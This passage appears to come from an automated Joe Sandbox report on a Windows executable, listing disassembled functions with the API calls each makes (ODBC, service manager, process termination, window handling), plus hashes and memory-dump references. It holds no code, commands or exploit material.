Instruction ID: 749ca4b69de5b53d69a6abe7811aae090bfcbcfa63227a7a9ecbf305c9d6f66c
Opcode Fuzzy Hash: 6f7a2f95e4a311cd5b560b2bed1b5b5e3d041696efc9e00e45bf81e09782e21b
Instruction Fuzzy Hash: CDB160B1E00209EBEB00DF95DD85BAE77B4EF58304F54007EFA44BA281DB795A50876A

Function 00407918 Relevance: 6.2, APIs: 4, Instructions: 171COMMON

Download Yara Rule

APIs

wm_Len.WMVERT(00000001,?,00000000,80000004), ref: 00407964
wm_InStrRev.WMVERT(00000004,00000000,00000000,80000004,00000000,00000000,80000004,00000000,00000000,80000301,?,00000000,80000002), ref: 00407A2F
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,00000000,00000000,80000004,00000000,00000000,80000301,?,00000000,80000002), ref: 00407A9A
wm_Left.WMVERT(00000002,00000000,00000000,80000004,00000000,00000000,80000301), ref: 00407AFB

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Left
String ID:
API String ID: 3663022166-0
Opcode ID: 7a7d251ad0f1c72ea0aaa3730099953f0504d5a07ebebdb586cdf63d1da48982
Instruction ID: 1e6a9d129210db66142b7887c52d33b5f0ffb2e3b76c7a46f4a8af45dddb5bde
Opcode Fuzzy Hash: 7a7d251ad0f1c72ea0aaa3730099953f0504d5a07ebebdb586cdf63d1da48982
Instruction Fuzzy Hash: D8515870E00209EBEF10DF95D885BAE77B4EF08714F604076FA50B6281D7796E64CB59

Function 00421A40 Relevance: 6.1, APIs: 4, Instructions: 135fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00421B07

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 69b18189aef5afb337efb8a5fe00325adaa4afdc85be48f43bc1b6c05516f417
Instruction ID: c4d88993dfa6995d38538be45919e2c7f780c401952a757fdeefe0d9faab8fd9
Opcode Fuzzy Hash: 69b18189aef5afb337efb8a5fe00325adaa4afdc85be48f43bc1b6c05516f417
Instruction Fuzzy Hash: FF51D431A00258EFCB11CF68D984AEE7FF5FF51340F9081AAE8159B261E734EA41CB59

Function 0041107A Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

SQLAllocHandle.ODBC32(00000002,?,?), ref: 004110E1
wm_Len.WMVERT(00000001,?,00000000,80000004), ref: 0041113B
wm_Space.WMVERT(00000001,00000400,00000000,80000301), ref: 0041115C
SQLDriverConnect.ODBC32(?,00000000,00000000,00000000,00000000,00000400,00000000,00000000), ref: 004111B5

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: AllocConnectDriverHandleSpace
String ID:
API String ID: 284227854-0
Opcode ID: e7b07476d2a637f22cece35257464026be2e3ebe0dcad5b5a61220e6f2604818
Instruction ID: 2e1cdd105a4c3ba3909b60dd2b6b29b66358adf318f6d80958d658b9621ab0d3
Opcode Fuzzy Hash: e7b07476d2a637f22cece35257464026be2e3ebe0dcad5b5a61220e6f2604818
Instruction Fuzzy Hash: 7641FB70E40309BBEB00DF95CC82BDEB774EB09714F14405AEB046B391D6795A94CBA6

Function 004174A4 Relevance: 6.1, APIs: 4, Instructions: 114filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(00000000,00000000,00002800,00000000), ref: 0041742E
wm_Close.WMVERT(00000001,?,00000000,80000301,-00000008,00002800,00000000), ref: 0041747D
wm_GetTickCount.WMVERT(00000000), ref: 0041755E
CallWindowProcA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 004175CC

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: CallCloseCountFileInternetProcReadTickWindow
String ID:
API String ID: 2349133171-0
Opcode ID: 198fc5a923bea0e3e4bc58cc154be7e5b0a2a095ecbdb980660d07781331242b
Instruction ID: 3283aac70491fcf36196d2d17c1fcbcb04943db19f6a8437259edb46163b4037
Opcode Fuzzy Hash: 198fc5a923bea0e3e4bc58cc154be7e5b0a2a095ecbdb980660d07781331242b
Instruction Fuzzy Hash: 194117B1D0460CEBDF00EFD2E986AEEBB34EF08314F14406AF54179286CB395AA5C756

Function 00413A8A Relevance: 6.1, APIs: 4, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

SQLAllocHandle.ODBC32(00000002,?,?), ref: 00413AEA
wm_Space.WMVERT(00000001,00000800,00000000,80000301), ref: 00413B39
SQLBrowseConnect.ODBC32(?,00000000,0000FFFD,00000000,00000800,00000000), ref: 00413B8A
wm_Trim.WMVERT(00000001,00000000,00000000,80000004,?,00000000,0000FFFD,00000000,00000800,00000000), ref: 00413BC9

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: AllocBrowseConnectHandleSpaceTrim
String ID:
API String ID: 2766200676-0
Opcode ID: 89aa9620207ede139428627bd8de4b47b951e49a59e6fc9bc0263aea3c8467ed
Instruction ID: f90a4329925912200e8dad59e3f9e4f9abf88fe0cb9f15ec709118b52da2ebfd
Opcode Fuzzy Hash: 89aa9620207ede139428627bd8de4b47b951e49a59e6fc9bc0263aea3c8467ed
Instruction Fuzzy Hash: B1413171A44319AFEB00DF84DCC2BDE7B74EB08305F14046AFA046B382D7756A948BA6

Function 0040AAFF Relevance: 6.1, APIs: 4, Instructions: 101serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040AB34
wm_Space.WMVERT(00000001,000000FF,00000000,80000301,00000000,00000000,80000000), ref: 0040AB78
GetServiceDisplayNameA.ADVAPI32(00000000,00000000,00000000,?), ref: 0040ABBA
CloseServiceHandle.ADVAPI32(00000000,?,00000000,00000000,80000000), ref: 0040ABE9

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseDisplayHandleManagerNameOpenSpace
String ID:
API String ID: 754280455-0
Opcode ID: 36be8060902af764d18a8dd6f9ee7075cb02539f80b03c7a88cf7175ff9db164
Instruction ID: 13b3addde035228c0af0a79ce314f93cad48b986f6adf70d192babb20948331d
Opcode Fuzzy Hash: 36be8060902af764d18a8dd6f9ee7075cb02539f80b03c7a88cf7175ff9db164
Instruction Fuzzy Hash: D93182B1E44309AFEB10EFD5DC46BEE77B4AB04304F14043AF504BA2C1DBB95A509B96

Function 00412052 Relevance: 6.1, APIs: 4, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

SQLAllocHandle.ODBC32(00000003,?,00000000), ref: 0041208A
SQLSetStmtAttr.ODBC32(00000000,00000006,?,00000000,00000003,?,00000000), ref: 004120ED
SQLPrepare.ODBC32(00000000,?,FFFFFFFD,00000000,00000006,?,00000000,00000003,?,00000000), ref: 00412127
SQLFreeHandle.ODBC32(00000003,00000000,00000000,?,FFFFFFFD,00000000,00000006,?,00000000,00000003,?,00000000), ref: 00412167

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Handle$AllocAttrFreePrepareStmt
String ID:
API String ID: 2667116994-0
Opcode ID: 3e4796e029c4ea11b632087043833b6c083fc95af96cced51806d6bfc84d021b
Instruction ID: 0efe31a49e6017d936f5618a5c46380176de0cd20efbca2c160f0df33ebec92c
Opcode Fuzzy Hash: 3e4796e029c4ea11b632087043833b6c083fc95af96cced51806d6bfc84d021b
Instruction Fuzzy Hash: 2B314A71E40308FBEF10DF81D902BCDBB30AB05314F04805AFA14AA2D1D6BA16A4DB9B

Function 0041A483 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 0041A4A9

Part of subcall function 0041DA05: HeapCreate.KERNEL32(00000000,00001000,00000000,0041A4E1,00000001), ref: 0041DA16
Part of subcall function 0041DA05: HeapDestroy.KERNEL32 ref: 0041DA55

GetCommandLineA.KERNEL32 ref: 0041A509
GetStartupInfoA.KERNEL32(?), ref: 0041A534
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0041A557

Part of subcall function 0041A5B0: ExitProcess.KERNEL32 ref: 0041A5CD

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: 27d0ec981e78a9d71fef4b83dc4159c5df16ca051a2d1c264f8e39631da9d56c
Instruction ID: e979b9d824664f9e3cf7f13219786007bee085d5b965ca89e092689889f493ce
Opcode Fuzzy Hash: 27d0ec981e78a9d71fef4b83dc4159c5df16ca051a2d1c264f8e39631da9d56c
Instruction Fuzzy Hash: B921A2B1D40305AFDB14AFA59C46AEE7BA5EF05714F10402FF9019B2A1EB7C8891C6A9

Function 00423370 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000001,00000000,?,00000000,?,?,00420993,0041CCB5,00000000,?,?,0041CB28,?), ref: 0042339F
MultiByteToWideChar.KERNEL32(?,00000009,0041CB28,?,00000000,00000000,?,00420993,0041CCB5,00000000,?,?,0041CB28,?), ref: 004233B2
MultiByteToWideChar.KERNEL32(?,00000001,0041CB28,?,?,00000000,?,00420993,0041CCB5,00000000,?,?,0041CB28,?), ref: 004233FE
CompareStringW.KERNEL32(?,00000000,00000000,?,?,00000000,?,00000000,?,00420993,0041CCB5,00000000,?,?,0041CB28,?), ref: 00423416

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: ByteCharMultiWide$CompareString
String ID:
API String ID: 376665442-0
Opcode ID: 6501cb885fe092d52f59db959c76632dd46ffe114373125fb73c346cd85ab43c
Instruction ID: cc4f3ff2227ada10b9dcba93ab0a199f70c42ae328855df27bdc14368ee010c7
Opcode Fuzzy Hash: 6501cb885fe092d52f59db959c76632dd46ffe114373125fb73c346cd85ab43c
Instruction Fuzzy Hash: C4213A32A00229EBCF229F85DD419DEBFB5FF48760F144166FA1062160C33A9E61DB94

Function 00409871 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000001,00000001), ref: 0040989A
OpenProcess.KERNEL32(00000001,00000000,00000000,00000001,00000001), ref: 004098D8
TerminateProcess.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000001,00000001), ref: 00409920
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000001,00000001), ref: 0040994F

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpenTerminate
String ID:
API String ID: 983841585-0
Opcode ID: 8ecbdfb740b6a9e625411e76f5fbe76283cf13be0e1bba49735d9ef1851074e2
Instruction ID: 20f114fc76b7d1500e70e91c436a16fa957e8fc05d29e22a8c68ab3187c4da55
Opcode Fuzzy Hash: 8ecbdfb740b6a9e625411e76f5fbe76283cf13be0e1bba49735d9ef1851074e2
Instruction Fuzzy Hash: 8121DEB5E45208BBEB10AA958847BDDB770AB01714F14807FF5043A3C1D6BD1A949F9B

Function 0040B6F2 Relevance: 6.1, APIs: 4, Instructions: 65serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040B720
OpenServiceA.ADVAPI32(00000000,?,80000000,00000000,00000000,80000000), ref: 0040B763
CloseServiceHandle.ADVAPI32(00000000,00000000,?,80000000,00000000,00000000,80000000), ref: 0040B792
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,?,80000000,00000000,00000000,80000000), ref: 0040B7BE

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseHandleOpen$Manager
String ID:
API String ID: 4196757001-0
Opcode ID: a8f8c8ae162f4a8582879e9a1d8029b4fce345a390c355041c5b8ae62259c32c
Instruction ID: 34960e1383e079739657c033b1064f31996e7f8b120261467e42b3ac3a8338de
Opcode Fuzzy Hash: a8f8c8ae162f4a8582879e9a1d8029b4fce345a390c355041c5b8ae62259c32c
Instruction Fuzzy Hash: DC212E74D4030CB7EB10AA91D807BCE7B71DB01715F1480ABF9003A6C1D67A1A90DF9B

Function 0042940E Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,?,?,00429409), ref: 00429485
GetProcessVersion.KERNEL32(00000000,?,?,?,00429409), ref: 004294C2
LoadCursorA.USER32(00000000,00007F02), ref: 004294F0
LoadCursorA.USER32(00000000,00007F00), ref: 004294FB

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: CursorLoadVersion$Process
String ID:
API String ID: 2246821583-0
Opcode ID: b2d6f55b0bb1cfa78143bb712ab35c060ef90e6ff1db5eacb502583b13584632
Instruction ID: a71db9f7e846e0f0a6eb5804b71ccf4344761177d14ec201879046049ad6e80c
Opcode Fuzzy Hash: b2d6f55b0bb1cfa78143bb712ab35c060ef90e6ff1db5eacb502583b13584632
Instruction Fuzzy Hash: BE114CB1A047608FD724DF7A9C8452ABBE5FB487057904D3FE18BC6B90D778A441CB54

Function 004265E0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 004265EB
GetTopWindow.USER32(00000000), ref: 004265FE
GetTopWindow.USER32(?), ref: 0042662E
GetWindow.USER32(00000000,00000002), ref: 00426649

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: 9056fea5646ac22a48812d74c101b872f50142635cbdeffdc587eb8f0e115da9
Instruction ID: 7c9edda8c9357dc196652b13859bdb99855d224cbcbfc8870faaa15b708863c9
Opcode Fuzzy Hash: 9056fea5646ac22a48812d74c101b872f50142635cbdeffdc587eb8f0e115da9
Instruction Fuzzy Hash: FA016732701535B7CF222F61BC01E9F7B59AF51794F864027FD00A1210EB39C9329AAD

Function 00426659 Relevance: 6.0, APIs: 4, Instructions: 49windowCOMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 00426667
SendMessageA.USER32(00000000,?,?,?), ref: 0042669D
GetTopWindow.USER32(00000000), ref: 004266AA
GetWindow.USER32(00000000,00000002), ref: 004266C8

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Window$MessageSend
String ID:
API String ID: 1496643700-0
Opcode ID: 24a31f38a2f35fad9ee560934597290945868da6adbdb8679439ee8a79fe8360
Instruction ID: ccac2c120506880132bfdfee5b9e813500afde3d528cbe44b1d23f9787364ade
Opcode Fuzzy Hash: 24a31f38a2f35fad9ee560934597290945868da6adbdb8679439ee8a79fe8360
Instruction Fuzzy Hash: C801ED3220152ABBCF125F91EC05E9F3B2AAF44350F464016FE1051160C73AC972EBAD

Function 00424348 Relevance: 6.0, APIs: 4, Instructions: 48windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,?,?), ref: 00424370
GetFocus.USER32 ref: 00424383
GetParent.USER32(?), ref: 00424391
GetNextDlgTabItem.USER32(?,?,00000000), ref: 004243AD

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Item$EnableFocusMenuNextParent
String ID:
API String ID: 988757621-0
Opcode ID: d86e1be2bdad55e7ff7edd68b01fa01031df2f8b807fb6a4d48ddb2411f6961e
Instruction ID: 4fa8b0cd32bb80eae1a5d2c40e61316a116121ef42530f2936b92024f51d2410
Opcode Fuzzy Hash: d86e1be2bdad55e7ff7edd68b01fa01031df2f8b807fb6a4d48ddb2411f6961e
Instruction Fuzzy Hash: FC117030700A10DFCB389F20FC09B2AB7B5EF80315F50465EF542866A0C779E851CB59

Function 00426BED Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetObjectA.GDI32(00000000,0000000C,?), ref: 00426C2B
SetBkColor.GDI32(00000000,00000000), ref: 00426C37
GetSysColor.USER32(00000008), ref: 00426C47
SetTextColor.GDI32(00000000,?), ref: 00426C51

Part of subcall function 004280A0: GetWindowLongA.USER32(00000000,000000F0), ref: 004280B1

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Color$LongObjectTextWindow
String ID:
API String ID: 2871169696-0
Opcode ID: f95cec64e0d75be0f5b2335864a91c7ab4ef0d4979221106ed4e4f37eaf8f71e
Instruction ID: a94d316687a4811874d863fb28ba7cf9a24d475cfcf30c70b293a033540b5b31
Opcode Fuzzy Hash: f95cec64e0d75be0f5b2335864a91c7ab4ef0d4979221106ed4e4f37eaf8f71e
Instruction Fuzzy Hash: 52012C30200118EBDF216F65EC49BAA3B66EB04394F914526FD41E51E0CB7AC9A5CA69

Function 0042815F Relevance: 6.0, APIs: 4, Instructions: 29stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 0042816C
GetWindowTextA.USER32(?,?,00000100), ref: 00428188
lstrcmpA.KERNEL32(?,?), ref: 0042819C
SetWindowTextA.USER32(?,?), ref: 004281AC

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
